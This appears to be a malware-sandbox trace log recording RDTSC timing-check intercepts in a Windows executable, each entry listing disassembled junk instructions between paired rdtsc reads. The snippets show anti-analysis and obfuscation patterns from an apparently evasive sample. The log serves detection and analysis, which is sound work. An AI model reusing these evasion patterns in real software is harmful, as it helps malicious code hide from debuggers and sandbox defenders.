Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1667 second address: DD166D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD166D second address: DD1679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9CAD0B9FC6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1679 second address: DD167D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD462A second address: DD4631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA80F5 second address: DA80FF instructions: 0x00000000 rdtsc 0x00000002 je 00007F9CAD0B62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA80FF second address: DA8105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8105 second address: DA8109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8109 second address: DA810D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA84C1 second address: DA84C6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA84C6 second address: DA8504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F9CAD0B9FD5h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jp 00007F9CAD0B9FCEh 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f jg 00007F9CAD0B9FC6h 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8601 second address: DA8606 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8CF0 second address: DA8CFA instructions: 0x00000000 rdtsc 0x00000002 js 00007F9CAD0B9FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8EFD second address: DA8F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8F01 second address: DA8F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8F0A second address: DA8F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov cl, 1Dh 0x0000000b lea eax, dword ptr [ebp+12492A75h] 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F9CAD0B62C8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b sub dword ptr [ebp+122D2518h], ebx 0x00000031 mov edx, dword ptr [ebp+122D2B77h] 0x00000037 nop 0x00000038 jc 00007F9CAD0B62D0h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 js 00007F9CAD0B62CCh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8F65 second address: D83A3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+124566D6h], ecx 0x00000010 lea eax, dword ptr [ebp+12492A31h] 0x00000016 mov edi, 5C7044A1h 0x0000001b nop 0x0000001c push edx 0x0000001d push eax 0x0000001e push eax 0x0000001f pop eax 0x00000020 pop eax 0x00000021 pop edx 0x00000022 push eax 0x00000023 jmp 00007F9CAD0B9FCCh 0x00000028 nop 0x00000029 cmc 0x0000002a call dword ptr [ebp+1246C738h] 0x00000030 jmp 00007F9CAD0B9FD3h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F9CAD0B9FCFh 0x0000003c jne 00007F9CAD0B9FD4h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83A3B second address: D83A45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F9CAD0B62C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8F50 second address: DA8F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F9CAD0B9FCCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDB495 second address: DDB499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDB499 second address: DDB4D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F9CAD0B9FDAh 0x0000000e jmp 00007F9CAD0B9FCEh 0x00000013 jc 00007F9CAD0B9FC6h 0x00000019 jc 00007F9CAD0B9FC8h 0x0000001f push eax 0x00000020 pop eax 0x00000021 popad 0x00000022 jl 00007F9CAD0B9FF7h 0x00000028 push eax 0x00000029 push edx 0x0000002a jl 00007F9CAD0B9FC6h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDB4D2 second address: DDB4DC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDB4DC second address: DDB4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDB4E2 second address: DDB4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDB672 second address: DDB688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B9FD2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDB688 second address: DDB68C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDBBBA second address: DDBBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDBBBE second address: DDBBC8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9CAD0B62C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDBBC8 second address: DDBBD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDBD18 second address: DDBD48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F9CAD0B62CFh 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a jnl 00007F9CAD0B62C8h 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDBD48 second address: DDBD4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE28ED second address: DE28FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F9CAD0B62C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1305 second address: DE1310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1310 second address: DE1320 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9CAD0B62C6h 0x00000008 jno 00007F9CAD0B62C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1497 second address: DE14A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jng 00007F9CAD0B9FC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1615 second address: DE163B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9CAD0B62D9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE163B second address: DE1647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1779 second address: DE177D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE177D second address: DE1783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1783 second address: DE17C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CFh 0x00000007 jmp 00007F9CAD0B62D5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jo 00007F9CAD0B62EEh 0x00000016 push ecx 0x00000017 jmp 00007F9CAD0B62D2h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1911 second address: DE1915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1915 second address: DE191E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE191E second address: DE1926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1926 second address: DE192C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE192C second address: DE1931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1AD6 second address: DE1AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F9CAD0B62C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1AE0 second address: DE1B07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1D6C second address: DE1D77 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE278A second address: DE278F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7089 second address: DE70AC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9CAD0B62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9CAD0B62D3h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7688 second address: DE7690 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7690 second address: DE7695 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7BCF second address: DE7BD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7D0E second address: DE7D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7D12 second address: DE7D3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F9CAD0B9FCEh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9CAD0B9FD4h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB8BB second address: DEB8CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B62CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB8CE second address: DEB8D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB8D2 second address: DEB8DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB8DD second address: DEB8E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBB96 second address: DEBBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9CAD0B62C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBBA1 second address: DEBBB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B9FCBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBD25 second address: DEBD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBD2A second address: DEBD44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F9CAD0B9FFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBD44 second address: DEBD73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F9CAD0B62D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEE014 second address: DEE02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9CAD0B9FCCh 0x0000000a jl 00007F9CAD0B9FD2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEE02C second address: DEE032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF26D0 second address: DF26D7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2828 second address: DF2837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2837 second address: DF285C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD5h 0x00000007 jmp 00007F9CAD0B9FCCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF285C second address: DF2861 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2861 second address: DF286A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF286A second address: DF286E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2A04 second address: DF2A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2A0D second address: DF2A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2B82 second address: DF2BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B9FCEh 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007F9CAD0B9FD8h 0x00000012 pushad 0x00000013 popad 0x00000014 je 00007F9CAD0B9FC6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d js 00007F9CAD0B9FC6h 0x00000023 jp 00007F9CAD0B9FC6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8819 second address: DF8823 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9CAD0B62C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF726C second address: DF7272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7272 second address: DF727B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF727B second address: DF727F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF77FF second address: DF781B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F9CAD0B62C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d pushad 0x0000000e js 00007F9CAD0B62D2h 0x00000014 jp 00007F9CAD0B62C6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF781B second address: DF7822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0288D second address: E02893 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02893 second address: E0289A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0289A second address: E028A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E028A0 second address: E028A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E028A9 second address: E028AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02CF6 second address: E02CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E032A6 second address: E032C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9CAD0B62D9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03E2D second address: E03E31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08395 second address: E083A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E083A7 second address: E083B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F9CAD0B9FC6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E083B7 second address: E083BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07803 second address: E07808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E079A5 second address: E079CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F9CAD0B62D1h 0x0000000b pop edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007F9CAD0B62C6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E079CE second address: E079D8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9CAD0B9FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07B57 second address: E07B8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D1h 0x00000007 je 00007F9CAD0B62C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F9CAD0B62CCh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007F9CAD0B62C8h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07B8D second address: E07B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
